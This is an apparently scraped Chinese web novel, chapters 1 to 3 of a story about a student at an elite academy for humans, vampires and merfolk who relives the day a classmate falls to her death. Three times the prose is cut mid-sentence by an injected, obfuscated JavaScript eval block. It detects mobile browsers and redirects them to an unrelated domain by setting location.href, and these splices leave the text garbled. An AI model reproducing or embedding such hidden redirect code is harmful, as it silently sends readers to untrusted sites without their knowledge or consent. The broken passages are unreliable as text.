《被选中的她》 1. 第 1 章 姜颂讨厌一切腥味。 就连那些隐藏在皮肤脂肪下,缓慢流淌在体内,用以维持生命的液体的气味也同样令她作呕。 所以眼下的这个情况已经足够让姜颂抓狂,但如山般的恐惧已经轻松压倒了焦躁的情绪,令她四肢麻木,呆滞地站在原地。 有人跳楼了。 对方死在了她的眼前,尸体距离她不过半米远。 “……好恐怖……那是谁啊?” “恶心死了,保卫科的人呢?那群吃干饭的,要他们有什么用?!” “我怎么感觉那个女的有点像特招生?” “特招生?这你都认得出来,你俩不会——” “……” “……” 周遭学生们惊惧的叫声,不怀好意的议论此起彼伏,然而姜颂却耳边嗡嗡作响,什么也听不清。 胃里的食物混着酸水不停地翻滚,她迫切地想要离开这里,却怎么也挪不动脚步。 “……” 姜颂绝望的发现自己竟然失去了对身体的掌控权,她浑身上下都在抖,就连心脏也跟着抽痛起来,那种酸胀感促使她的手指都开始痉挛,可偏偏她又很清醒,想晕都晕不过去。 谁来救救她。 谁来救救她们。 然而没人能听见她的心声,她的同学们躲在远处肆无忌惮的围观着这一切,仿佛她也是这起事故的主角。姜颂甚至在余光中看到有人举起手机拍照录像,密密麻麻的闪光灯格外晃眼,让她更想吐了。 可惜她什么都吐不出来,只能惨白着脸僵硬着身体,看着那滩猩红色的液体缓慢攀爬逼近。就在它们马上就要沾染到她的皮鞋时,一只手忽然虚盖住她的双眼,随后她便感觉到有人攥住了她的肩膀,并向后方微微施力,而她也被迫顺着这股力量倒退了几步。 “……!” 双腿发软的姜颂终于找回了自己的呼吸。 “别看,姐姐。” 浅薄的苦橙味萦绕在身侧,像是一张巨大的蛛网,而清冷且熟悉的男音很快递进耳朵里,视野漆黑一片的姜颂难得没有挣扎,因为她根本没这力气。 来人是她异父异母,比她小了一岁的弟弟,同在圣德利亚学院就读的姜知律。 “姐姐。” 姜知律是从画室赶过来的,手指上还沾着来不及擦干净的颜料。 他看着她下巴和唇瓣上的血点,随后手指一拢小心地将她带到自己身前,挡住了好事者的目光,“我们回家好不好?” 姜颂这会儿站都站不稳,她忍着恶心合上眼倚靠在对方身上,默许了他的提议,她的声音仿佛是从嗓子眼儿里挤出来的,“……带我走。” “好。” 姜知律没有拒绝,也不会拒绝。 他脱下外衣,将这件制作精良的深灰制服系在她的腰间,最后顺势扶住她的腿弯,将她抱进怀里。 而彻底放松下来的姜颂只觉得无比疲倦,她下意识将脸埋进他的肩窝,却听到了忽然爆发的高昂的议论声,她来不及抬眼就失去了意识,掉进了沉寂的黑暗中。 姜颂睡的并不安稳,她的眼前不断闪过女生跌落在地的画面,那拂过面颊的不正常的微风,沉重的闷响以及慎人的断裂声。 她不顾一切的向前奔跑,却一脚踩空坠入深渊。 “……!” 姜颂自梦中惊醒。 她大喘了几口气,恍惚了几秒才发现自己正躺在家中卧室的床上。 落地窗外投射进屋内的夕阳余晖,以及松软的被子极大的舒缓了她的情绪,杂乱的噩梦很快随着意识的清醒而被淡化遗忘,感觉身上热的厉害,姜颂掀了掀被子坐起身,紧接着就看见了窝在角落里的人。 是姜知律。 对方身上穿了件深蓝色的竖纹居家服,头发湿漉漉的没有吹干,他大概是睡着了,靠在墙面上头偏向一侧,水珠顺着发梢掉落,氤氲了肩侧的布料。 他无疑长了张好看的脸。 眼皮单薄,内眦下勾眼尾上扬,鼻梁高直,唇薄且淡,整体的脸型轮廓紧窄,显得他气质明显内敛冷淡许多,清隽的像一捧终年不化的雪。 姜知律今年十九岁,他性格冷漠,对他人不假辞色,姜颂有时候会觉得他宁愿花时间去画一幅油画,也不愿多看人一眼。 然而他在她面前却乖的要命,像只怕被人再度抛弃的流浪犬。 姜颂其实不明白他为什么对她言听计从,但这也不妨碍她讨厌他。 原因很简单,因为他占据了她妈妈太多的时间—— 他抢走了她的妈妈。 “姜知律。” 她靠在软垫上说道,嘴巴脸颊干的厉害,明白自己在发烧的姜颂皱眉,语气里满是厌烦,“谢谢你,但麻烦你现在从我的房间里滚出去。” “……” 姜知律几乎是在她话音刚落就睁开双眼,他琥珀色的眼望过来,弥漫着一片还未来得及散去的朦胧。 “……好。” 姜知律从不反驳她,一如既往的听话。他垂下眼帘不去看她苍白的嘴唇,“姐姐你记得吃床头柜上的药。晚上我给你熬苹果小米粥,可以吗?” 闻言姜颂才懒得搭理对方,因为她知道哪怕她拒绝他也会继续做这些无聊的事,这人确实听话,可在某种程度上来说也十分会自我感动。 而他似乎也知道她不会回应,便默不吭声的起身,离开了房间。 眼不见心不烦的姜颂也没了睡意,她从床头柜上摸起手机点亮屏幕,发现了不少信息弹窗。 她略过那些在她看来可有可无的信息,顺便屏蔽了一个陌生号码,随后点进被置顶的99+对话框。 那是她的朋友,谢桐月。 她粗略浏览了一遍好友发来的信息,接着回复。 【Song颂:刚刚看到消息。桐月,那个女生怎么样了?】 坠楼女生的脸被凌乱的长发挡住,而姜颂当时正处于惊慌的状态,当然也认不出对方是谁。 【月亮:呜呜呜呜我可怜的颂颂大宝贝还好吗?】 【月亮:你说那个特招生吗?好像被当场宣布死亡了呢。】 【月亮:真的好恐怖哎……先不提她了颂颂,你什么时候回圣德利亚呀?今天学生会真的好忙,幸好有明学长帮我。】 是特招生……? 姜颂本来舒展的眉心再度蹙起,她就读的圣德利亚学院是一所比较特殊的四年制贵族私立学院,为什么说它特殊,是因为在这所学校里就读的不止有人类,还有血族和人鱼。 而谢桐月口中的‘明学长’就是校内的高阶血族之一。 数百年前,人类并不知道这个世界上还有其他类人的智慧生物存在。但伴随着对自然的过度开采,气候和环境逐步改变,海啸地震频发,土地面积锐减,辐射四溢,海洋也受到了污染——就在世界被重新洗牌的时候,血族和人鱼出现了。 这些童话中的生物顶着美丽到妖异的面孔,却拥有可怖的能力。人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321631|183133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼的歌喉能够轻松引诱人类,并用锋利的手指穿透人的胸膛,而血族尖锐的犬齿能够吸食人血,可以毫不费力的扭断人的喉咙。 这时人类才明白,原来血族与人鱼早就隐藏身份进入了他们的社会,与他们共存已久。后来为了寻求生存,三个种族签订契约,或被迫或主动的生活在了同一片土地之上,延续至今。 而圣德利亚学院是社会文明稳定,一切平息之后建立的。 它位于厉城蓝湾区的中心地带,不仅师资力量雄厚,且拥有堪称完美的教学环境和娱乐设施,同时学生们的家庭背景非富即贵,高阶血族和人鱼的子女也在其中。 几位创始人最初的用意是为了向世人证明三个种族能够和谐共处,所以才出资创建了学院,而招生时特意面向了上层阶级,希望他们能够做出表率。 但可惜的是,随着时间的流逝,似乎无人记得创始人们的初衷,而圣德利亚学院则逐渐成为了富人子女的聚集地,人们口中的贵族学院。 同时,学院每年也会录取一些学习成绩优秀,但家境贫寒的学生入校,并免除他们在校四年的学费,让他们安心念书——这些人被统称为特招生。 “……” 姜颂见好友并不在乎那个坠楼的女生,便也没有再继续这个话题。毕竟人已经死去,后续校方也会继续跟进,也不需要她操闲心。 她只是个路过的倒霉鬼而已。 而手机里的消息还在不停地往外弹。 【月亮:颂颂!你应该没忘记投票吧?】 【月亮:一定要记得去投票哦,再过一个多月缪斯榜就要公布排名了。】 【Song颂:嗯,我已经投好了。】 缪斯榜是圣德利亚学院内的人气排行榜,分为女男双榜,由学生们根据自己的意愿票选出本年度的最佳女神和男神。而校方每年都会在春季开放投票,并实行匿名投票机制,为期两个月。 而每位学生只可投出六票,三票女三票男,当然也可以选择弃票。 不过就姜颂所知,从建校开始缪斯榜的榜首大多都被血族和人鱼霸占,鲜少有人类能够登到第一。 而她在票选开始的第一天就将票投给了谢桐月,至于另几票则选择了作废。 【月亮:听说这次双榜的前三可以去仲夏岛玩,我一定要和明学长一起去!】 仲夏岛? 刚起床为自己倒了杯水的姜颂觉得头疼,因为今天的信息量可真是有点多。 仲夏岛是一座位于钻石海北侧的人工小岛,开发商对外宣传这座岛屿是人间天堂,而据说在那片没有被污染的海域里还能看到海豚和鲸鱼,旅客也能在这里享受前所未有的自然风光,可这座小岛自开发后却始终都没有被投入使用。 她没有着急回复对方,而是将手机扔到一边,随后捻起床头柜上粉色小盒子里的药放进嘴里,她拿起马克杯,让水液滑进喉管,驱散了几分燥热。 姜颂坐在床沿,她缓了一会儿才拿起手机,却也没有翻看谢桐月后续发来的信息。 她回: 【Song颂:桐月你会如愿以偿的。】 【月亮:当然啦,颂颂你就等我发超美的合照吧!】 看到这里,姜颂也没再回复,她转手给管家发了条信息,要她帮忙请好明天的病假,顺便禁止任何人再来打扰她。 得到肯定的答复后,姜颂捞起床头柜上的遥控器,下一秒窗帘便缓缓闭合,她躺回被窝里,安然入睡,等待黎明。 2. 第 2 章 滴声响起的瞬间,一只手便探出被子,摁灭枕边亮着屏幕的手机。 5:50 “……” 姜颂没有赖床的习惯,她摸了摸自己的额头,确定温度正常后便起床洗漱,接着换上一身灰色的运动服打开房门。 “小姐。” 早就等在门外的女佣为女孩端上一杯玫瑰茶,作为在姜宅工作已久的老人,她非常清楚主人们的作息时间。而姜大小姐不仅十分自律,对待佣人们也很友善,不像那位——明明和夫人没有血缘关系,却总是摆谱,白长了张好看的脸。 于是女佣的声音越放越柔,“今早厨房为您准备了蓝莓奶酪吐司,搭配熏肉蔬菜沙拉和桃汁,您看可以吗?” 姜颂喝茶的动作一顿,因为今天的早餐竟然和昨天一样,这可是平时绝对不可能出现的事情,不过她并不在意,“可以。今天我不上学,七点左右把早餐送进我房间里。” 女佣对此没有产生丝毫疑问,“好的,小姐。” 姜颂点了点头,她将空了的茶杯放到女佣手中的托盘上,刚走到楼梯口,就见一个影子慢悠悠的爬上了楼梯。 是姜知律养的黑猫-糊糊。 糊糊是姜知律多年前捡来的流浪猫,而它的性格与它的主人十分相似,区别就在于除了姜知律外,糊糊不爱搭理任何人。 姜颂站在楼梯口没动,直到黑猫离开,她这才下楼前往一层的健身房。 她不怕猫,甚至挺喜欢猫咪,但却不怎么招这些毛绒绒的小东西喜欢。 轻则爱搭不理,重则被抓被咬。 而姜颂目前与家人一同住在蓝湾区香溪街的观云山庄内,别墅群依山而建,风景秀丽无比。 照常健身后洗了个澡,姜颂吹干了头发准备回房,在路过餐厅时却意外的看到了一个不该在这个时候出现的人。 “……妈妈?” 姜颂诧异地看向坐在餐桌主位,身着一身灰色套裙的女人,“您怎么在这儿。” 她心里疑惑,妈妈不是出差亲自去国外看一批原料了吗,怎么今天就回来了? 姜家世代书香,只从姜颂的母亲姜惊秋那辈偏离了既定的轨迹。 姜惊秋二十出头就不顾一切的结了婚,她曾对爱情和婚姻有所憧憬,但现实却予以她沉重一击。毕业后她顶着压力靠自己做到了企业高管,后来丈夫车祸去世,她毅然出国工作,接着收购了一家即将倒闭的公司,并创立了自己的手表品牌-日晷,硬在满是豺狼虎豹的市场中占据了一席之地。 也是这几年,姜惊秋才将事业重心慢慢转移到了厉城。 ……所以妈妈是回来看她的吗? 姜颂心里冒出微妙的欣喜,她朝着餐桌的方向走了两步,脸上也露出了笑容。 其实她在长相上和姜母并不相似,姜母模样秀丽,杏眼柔和,气质淡雅。而姜颂更像自己的生父,鹅蛋脸线条流畅,眉弓高鼻梁直,她瞳色深黑,内眼角尖锐,显得厌世又寡淡。 ——不好惹。 这是她面相所反馈出来的信息,然而她脸上时常带笑,客气又温和,所以冲散了不少这种凌厉冷淡的攻击性。 然而姜颂的手刚拉开餐椅,她的母亲便头也不抬的开了口:“今天为什么不去上学?” “……” 姜颂心口一窒,管家不可能没将昨天发生的事情告诉母亲——她以为自己至少能得到一句关心。姜颂忽然觉得自己的想法有点可笑,却又认为这好像才是对方该有的态度。 于是她将餐椅重新推回去,努力让自己的表情不那么僵硬难看,“我今天不舒服,想休息一天。” 姜母闻言放下汤匙,她抬起头仔细地看着女儿苍白的脸,过了将近十秒才语气略显生疏地问:“要不要叫家庭医生过来看看?” “……不用。” 自然下垂的手指紧攥着袖口,姜颂扯着笑说:“您慢慢吃,我先回房间休息了。” 等得到母亲的点头,姜颂这才转身离开,而她心里憋了口气,脸上的笑容也消失的一干二净,整个人显得极为沉郁。 可等她来到楼梯前,就遇到了穿着校服正在下楼的姜知律。 秉承着眼不见心不烦的态度,姜颂不等对方开口,便硬生生调转方向去坐了电梯。 “……” 回到房间锁好门,姜颂深吸一口气坐在了梳妆台前,她盯着镜中自己的脸,又从抽屉里翻出父亲的照片,心想如果自己和他长的不像,那么母亲是不是会喜欢她一点? 比喜欢姜知律还要喜欢? 她从来没见过自己的父亲,毕竟对方在自己出生前就去世了,但伴随着年龄的增长,即便长辈们都对此闭口不谈,她也能从一些闲言碎语中得知他是个精神不正常的混蛋。 “……” 姜颂烦闷的将照片塞了回去,她其实也明白自己的想法不对,因为姜惊秋首先是她自己,然后才是一位母亲。 她不愿再想,只是用指尖轻轻点着桌面,闭上眼安静的消化情绪。随后她换上居家服,来到落地窗前吃起了自己的早餐。 一顿饭吃了一半,手机就叮叮咚咚的响个不停。 她将手机解锁,查看信息。 【月亮:颂颂?你今天怎么没来学校呀?】 【月亮:我还特意去问了姜知律,但是问什么他也不说话呢。】 【月亮:他跟你一点也不像!】 又不是亲姐弟,能像才有鬼。 这让姜颂想起了姜知律刚入学的时候,她忍不住冷笑一声,手指一划刚要回复,却突然发现自己昨天与谢桐月的聊天记录不见了。 她心里觉得奇怪,也就没回复对方,而是退出聊天界面,想看看是不是手机出了什么问题,可是她很快便发现昨天她收到的所有信息都不见踪影。 就连主界面的日期都回退到了昨天—— 四月十九日。 “……” 姜颂一顿,接着迅速检查了自己名下的不动产,以及几个银行和证券账户,见这些都没有问题后才搜索了今天的晨间新闻。 端正的声音很快响起。 【各位观众大家好,今天是四月十九日,星期四,欢迎大家……】 她一言不发的听着十分耳熟的新闻,视线缓慢落在了吃到一半的早餐上,春日的光影将盘中的食物分割成两半,奶酪表层的蓝莓果肉在此刻更像是密集的霉点。 这让她又想起母亲莫名其妙的出现在了家里,于是她立刻起身出了房间。 可等姜颂来到餐厅时,就只见管家在桌旁整理瓶中的花束,她环顾四周问:“刘姨,我妈呢?” “夫人出差了。” 管家刘姨拢了拢瓶中的洋甘菊,她放下手中的剪子回答道:“小姐,夫人没同您说吗?” 姜颂心中生疑,刘姨没必要撒谎,也不可能撒谎。那昨天的经历到底是怎么回事,难道都是她的梦吗? 梦? 她猛地看向墙壁上的石英挂钟。 八点十分 姜颂开始回忆梦中自己是几点到音乐馆前的,但她只能确定那时肯定不到九点。 毕竟九点才开始上第二堂课。 于是她不假思索道:“刘姨,让司机准备一下,我要去学校。” 管家从不会多问,只要小姐说了她必定会满足对方:“好的小姐。” 于是姜颂再度折返回房,从她换衣洗漱,再到钻进车厢,一共耗时七分钟。 而开车到学校只需要二十多分钟,但这对此刻的她来说却有些难熬。她一边转着小指上的活口月桂尾戒,一边看着车窗外极速后退的景色。 这枚戒指是谢桐月两年前送她的生日礼物,而她离家时走的急,所以此刻戒圈正松垮的挂在指间。 等到了学校,她在登记处签了个字便往音乐馆走去,因为圣德利亚的占地面积大,所以校内也安排有代步车,但是每周四所有车辆都会进行检修,那么目前她只能步行去音乐馆。 于是她没怎么考虑就选择了抄近道,音乐馆靠近校内的一处花园,所以走花园小径要比走平时的大路快几分钟。 她很快便踏进花园长廊,整个人都深陷在丁香色的静谧中。 大片紫藤蜿蜒攀爬,枝叶纠缠,顺着穹顶与廊柱垂落而下。 但姜颂却无暇欣赏美景,她走的很快,过程中不断地看着腕上的手表确认时间,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321632|183133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至没注意到有花瓣落在了肩头。 而漫无边际的紫色中逐渐浮现出两道人影。 “……” 姜颂的脚步一滞,接着放缓,因为那两人都有一头极其扎眼的金发。 明月忱,明月滢。 作为明家珍贵的双生子,他们理所当然的都是高阶血族的一员。 虽然大家都在同在一所学校念书,但从人数上来说血族和人鱼占比极小,他们有专门的教学楼,只不过会与人类学生共用娱乐/公共设施,且重叠部分课程,所以这会儿姜颂只觉得自己运气不好。 毕竟她在校期间从来没有正面遇见过血族,这次一下就撞上两个,还都是高阶。 倒霉透顶。 这是姜颂的第一反应。 她不太喜欢血族——这与她过去的经历有关,所以哪怕在学生们的叙述中,这对兄妹的脾气都非常好,她也依旧抱有能不接触就不接触的态度。 “……” 但事已至此,她也不可能视而不见。 姜颂思考了几秒,便迅速从校服口袋里掏出手机给管家发送了一条信息。 “学姐,学长。” 哪怕她再急着离开,现在也不得不露出礼节性的微笑,她将手机放回口袋里,“上午好。” 虽然她称呼二人为学长学姐,但实际上他们同她都是三年级的学生。 其实按道理来说,明家兄妹今年应该读四年级,可不知道为什么,去年两人不知为何消失了整整一年都没有出现。 开学后两人才回归学院,同时遵守校规选择了留级重读一年。 “上~午~好~” 最先开口的是目不转睛地盯着她,头戴紫藤花环的明月滢。 这位血族身材纤细,面容精致,一双湖蓝色的眼格外空灵,像是壁画中不染尘世的天使,可对方冷淡的表情和热情的声音也形成了强烈的反差。 与此同时,姜颂注意到明月滢正望向她左侧胸口——校徽下方别着一只名牌。 而站在明月滢身侧的明月忱个子高挑,他的手中拿着一只还没有编好的花环,镜片后银灰色的眼睛同样望着她,配合柔和没有攻击性的五官,看起来斯文温柔。 “你好,姜颂同学。” 他话音刚落,姜颂的眼前忽然一花,同时浓郁的花香扑鼻,带着让人沉醉的靡丽。 “你长的真好看。” 美丽的血族少女犹如幽灵般停在她的身侧,甚至不知何时挽住了她的手臂,海藻般的卷发落在她的肩头,少女的脸上依旧没有表情,“我喜欢你。” 太近了。 近到她都能看到她虹膜内散射状的纹路。 “……” 明月滢比姜颂整整高了半个头,而越界的距离也让她感受到了一种无法言明的压迫感,不过姜颂更不能理解对方的自来熟——这就是所有人口中的‘好脾气’? 然而时间紧迫,她只能勉强将这句话理解成对方喜欢她的脸,姜颂忍着不适露出微讶的表情,“是吗?” 她昧着良心继续说:“我也——” 突兀的铃声恰到好处的截住了她的话。 姜颂如梦初醒般低声说了句抱歉,并顺势将自己的左臂抽离,却没注意到松垮的月桂尾戒勾住了对方的制服,随后一声不响的掉落在松软的花瓣中。 “……喂?怎么了?我——” 她拿出手机划了一下屏幕,随后将其贴在耳边,一边说话一边越走越远。 而明月滢似乎并不在意人类少女的离开,她微微眯起湖蓝色的眼,心情似乎十分不错,她将双手背在身后凑到自己的哥哥身边,“哥哥,她说她喜欢我。” 明月忱低垂眼帘看了眼被花瓣掩盖的戒指,耐心纠正道:“她没有那么说。” “她肯定是这么想的。” 不知道为什么,明月滢相当笃定,“哥哥,我可不可以——” “阿滢。” 明月忱将花瓣一捻,浅色的汁水沾染了指腹,他银灰色的眼斜睨过去。 “你知道规矩,不可以。” 明月滢这才安静下来,她最后看了眼长廊尽头处的那抹人影,重新坐到了石凳上。 3. 第 3 章 姜颂并不认为自己会被明家兄妹揭穿,毕竟他们对外展示的形象一惯完美,看起来平易近人。 即便这似乎也是一种傲慢的体现。 扣掉管家打来的电话,确定自己离开了明家兄妹的视野范围,在走出紫藤长廊后,姜颂抬脚就朝着音乐馆的方向跑去。 她开始庆幸制服裙摆足够宽,活动起来十分方便。她没有进繁花园,而是拐进临湖小道,青石板铺制的小路两侧栽着一排樱花树,这些粉色的双樱在枝桠上盛放,树下间或立着供学生们休息的长椅。 对比姜颂的行色匆匆,其他三两结对正在观赏景色的学生看起来惬意无比。 她跨上几级台阶,意识到自己终于离音乐馆越来越近后松了口气,她的视线越过层层叠叠的花朵,却一眼看到了楼顶上摇摇欲坠的身影。 ‘咚咚——咚咚——咚咚——’ 心脏越跳越快,她顾不上周围人异样的眼神,大声喊:“别——” 然而她还是晚了一步,骤起的春风吹起对方的长裙裙摆,女孩的身体像是被牵动的木偶般倾斜,最后直落而下,被淹没在了大片晃动的绯色当中。 ‘咚’ 尘埃落定后是刺耳的尖叫,让停下脚步的姜颂产生了一种很诡异的茫然和割裂感,仿佛她是被隔绝在世界之外的观测者。 微风裹挟着单薄的花瓣卷起她的发梢,而本来正在拍照聊天的学生们则纷纷朝着声源地跑去。 现在是八点五十三分。 “……” 心跳的频率依旧没能恢复正常,正泛着恶心的姜颂站在原地做了几个深呼吸,如果说她一开始还抱有侥幸心理,觉得那不过是一场梦,那么现在—— 她抿唇拨打了紧急救护的电话,在报了地址后又报了警,这才脸色难看的走出了空无一人的小路。 等她抵达事发地时,楼下已经聚集了不少学生,他们议论纷纷,讨论着死的人是谁,她为什么会跳楼。 “……好恐怖……那是谁啊?” “恶心死了,保卫科的人呢?那群吃干饭的,要他们有什么用?!” “我怎么感觉那个女的有点像特招生?” “特招生?这你都认得出来,你俩不会——” “你还真别说,那不是何筝吗?就是那个蜈蚣女……” 斜前方的男生似乎想起了什么,他一边说话一边用肩膀撞了一下旁边的人,虽然周围人声嘈杂,导致站在人群最外围的姜颂没能听清他的后半句话,但依旧能从他的语气里感受到那种轻蔑。 何筝。 姜颂开始在脑子里搜索关于这个名字的全部记忆。 但遗憾的是她只知道对方是去年入校的三名特招生中的其中一位,据说学习成绩相当优秀,能甩第二名十多分。何筝入校时还代表新生进行演讲,只不过当时的姜颂因病没去礼堂参会,所以一直不知道对方长什么样子。 但回想起来,她似乎曾偶遇过对方,可也只是模糊的瞥见过女孩的侧脸和背影。 不过说来说去,她根本就没有注意过她。 此刻,人群中忽然传出的阵阵惊呼迫使姜颂回过神来,她发觉到大多数人的视线已经从何筝的尸体上挪开,频频看向了她的右后方。 “……” 她没有在这种时候选择做一个异类,于是便象征性的跟着看了过去。 高挑的身影映入眼帘,是明月忱。 ……他来这儿干什么? 姜颂当然不会认为对方是被血腥味吸引过来的,毕竟这些高阶血族最引以为傲的就是对欲望的绝对控制力。 更何况血族早已不需要吸食人血,因为可供吸食的替代品已经上市数百年之久。 明月忱和他的妹妹明月滢长相相似,但这位血族的模样更为古典,他骨相优越,眉眼柔和,银灰色的眼剔透无比,仿佛能包容一切。 在斑驳光影下,他恍若一位从油画中走出来的圣子。 “明学长真的好帅!!” “这次缪斯榜的男神第一肯定是明学长的!” “你们在开玩笑吗??元野才是真男人!没有眼光的东西!” “差不多得了,我看你们真不把沈学长放在眼里是吧?” 尽管已经习惯了这种毫不避讳的讨论,姜颂还是忍不住想要皱眉。她明白自己不能要求所有人都具备同理心,而人类慕强也不可避免,但在命案现场讨论这些显然不合时宜,甚至让人觉得毛骨悚然。 可这里是圣德利亚学院。 姜颂站在原地没动,可周围的学生们却犹如深海中的鱼群般聚集在一起,将她吞噬进了人群的中心。 ——所有的一切都是正常的。 ——所有的一切都是不正常的。 这是同为利益既得者,在这所学校里待了三年的姜颂所归纳出来的矛盾结论。 而这时候教学楼中也有教师匆匆跑出来,一边维持秩序一边报警,却没有强硬要求学生们离开。 因为他们惹不起在场的大多数人。 明月忱显然也嗅到了不该出现在学院里的血腥味,不过他不需要询问就有无数学生争先恐后的告诉他发生了什么。 “……” 闻言他往那大片的血色看了一眼,接着露出担忧的神色。 几个老师看他的眼神更是犹如在看救世主,毕竟作为学生会会长,他十分尽职尽责,名声出奇的好,号召力也很强,于是明月忱理所当然的上前配合几位老师将围观的学生们劝离。 而姜颂早就打算去藏书馆独自消化这件恐怖的怪事,可让她意外的是明月忱竟然叫住了她。 “姜颂同学。” 她回头就见金发血族朝她走来,随即在距离她半米的位置站定。他的身体微妙的挡住了身后狼藉的场景,紧接着抬起手,“你刚才落下的。” 熟悉的月桂尾戒正静静躺在一方深红的手帕上。 “……!” 姜颂下意识地摸了一下手,发现自己真的弄丢了戒指后,她第一时间懊恼于自己的粗心,随后露出感激的表情道:“谢谢。” 她拿走纤尘不染的尾戒,重新将它戴回到了手指上。 见状明月忱将手帕叠好,却迟迟没有收回口袋里,而是将其松垮地抓在指间,“不用谢,举手之劳。” 接着他继续说:“很漂亮的宝石。”他指的显然是被月桂枝叶包裹的几颗黑钻,而他的瞳色在树影下显得更深了些,“也很稀有。” 姜颂一顿,只觉得这句话有些奇怪,难道他是在责怪她不小心遗失了这么贵重的物品? 可伸手不打笑脸人,更何况是他帮她找回了戒指,姜颂理应感谢他,却也没有透露更多,“是我疏忽了,谢谢你学长。” 与此同时,救护车与警车的鸣笛声由远及近,逐渐清晰,几乎与明月忱的嗓音融为一体,“……很重视你。” 什么? 被红蓝光线分了神的姜颂没有听清他说了什么,但显然她不在乎,想来明月忱也是。 很快警戒线拉起,没有及时离开的她和明月忱被警员留下做了简单的问询。 姜颂也解释不了什么,总不能和警员诉说自己荒诞可怕的梦境。 枯燥的问询很快结束。 在临走前,她最后望向了何筝,对方此刻已经被妥善的安置进了裹尸袋里,女孩的脸歪向一侧,露出一小截没被血液侵蚀的脖颈。 “……?” 这一幕令姜颂愣了几秒,紧接着全身的血液仿佛都冲向大脑,导致她的面皮又麻又冷,耳朵里像是被人用力塞进了好几块湿海绵,闷胀的要命,让她听不到半点声响。 因为她看到了一枚类似于心形的褐色胎记。 ……是她? 久远的记忆一闪而逝,姜颂几乎无法维持住脸上的表情,眼前更是阵阵发黑。 怎么可能? 这怎么可能?! 姜颂第一反应是自己看错了,可是裹尸袋的拉链已经被警员拉好,她没有机会再看她一眼。 “……” 姜颂僵直的手指一颤,但这会儿不会有人注意到她的异样。见明月忱还在与警员交谈,她也没有告别便果断转身离开,前往了藏书馆。 - 藏书馆顶层的采光极好,落地窗外是大片晃动着的常春藤,为馆内带来春意盎然的绿色。 姜颂落座于靠墙的角落,她拿出手机切换网络,登上久未查看的校园app——这是圣德利亚内部的社交软件,通过学号登录,可选择匿名。 她随意地翻了几页,大多数帖子都是在讨论今天发生的命案,其中也夹杂着什么某爱管闲事的网球课教师终于要离职了,又或者在抱怨学校的器材室到底什么时候才能装修好,地下室的信号特别差,再就是流行的灵异游戏等等。 姜颂在无数热帖里搜索关于何筝的信息,但意外的是她只找到了校方一年前发布的一条点赞寥寥无几的帖子。 “……” 她滑动屏幕,看着文章最后的一张合照和视频,很轻易的就找到了何筝—— 与此同时,她也明白了所谓的‘蜈蚣女’是什么意思。 扎着利索马尾并留着齐刘海的何筝站在最中间,她眉清目秀,笑容开朗,可她的脸却并不是姜颂记忆当中的模样。 一道歪歪扭扭的肉粉色疤痕横在女孩的右脸上,破坏了整张脸的协调性。 可这一切也难掩她身上的自信。 但是这也与那披头散发,无比凄惨的模样大相径庭。 “……” 她深吸一口气,目光转向了站在女孩左右两侧的一男一女,他们与何筝一样都是一年级的特招生,手里还抱着花束,笑容极为腼腆。 姜颂没再关注这两个人,而是戴上耳机点开图片下方的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜颂摘下耳机,她在谢桐月的注视下探出手,帮她调整了左耳歪掉的耳饰,紧接着顺手取走了自己的手机,并指了指屏幕上的聊天框,上面是班级群的聊天记录,大致是说原定的网球课改成了自习,“不过桐月你怎么知道我在这儿?” 谢桐月看了屏幕几秒,这才弯下眉眼,“当然是我和颂颂心有灵犀——开玩笑的!” 她的眼神轻飘飘地落在姜颂身上,“阿允刚才看见你啦,是他跟我说的。” 将手机收进制服口袋的姜颂闻言没接话茬,她与‘阿允’的关系可算不上好——坦白来说是非常糟糕。 可还不等她再说什么,就听对方继续道:“阿允还说看到你和明学长在一起说话。” “……” 姜颂又不是傻子,坑就在眼前还往里跳,“我不小心弄丢了你送我的戒指,是学长帮忙找回来的。” 谢桐月显然不满意这个答案,“他怎么知道戒指是你的?” 姜颂的表情顿时一变,她直勾勾地看着谢桐月,直看的对方开始躲避她的视线,这才摘下尾戒。 “……桐月,戒圈里刻着我的名字。” 她特意将它递到谢桐月的跟前,仿佛在奇怪对方为什么会忘了这件重要的事。 而就在谢桐月要去看戒指的时候,姜颂又收回了手,她好像明白了什么,话锋兀自一转,“是不是陆允谌跟你说了什么?” 谢桐月一呆,似乎没想到她会突然发问,“没有呀。” “……他是不是说我故意和学长搭话?” 姜颂失望的将尾戒放在桌上,随后她也不再看对方,而是垂下头,齐颈的黑发挡住了她的侧脸,也掩饰了她眼中的冷漠。 她的声音低落,“我知道他对我有意见,觉得我不配跟你做朋友,可是——” “哎呀,没有啦。” 见状谢桐月连忙捏起尾戒,接着抓住她微凉的手将戒指套了回去,“颂颂你想那么多干嘛啦。” “……” 姜颂没动,也没有说话。 对方总是会做她与陆允谌之间的调停者,又或者说她可能乐于看他们为她‘争锋吃醋’。 “颂颂你抬头看看我嘛,学长还说了什么呀?” 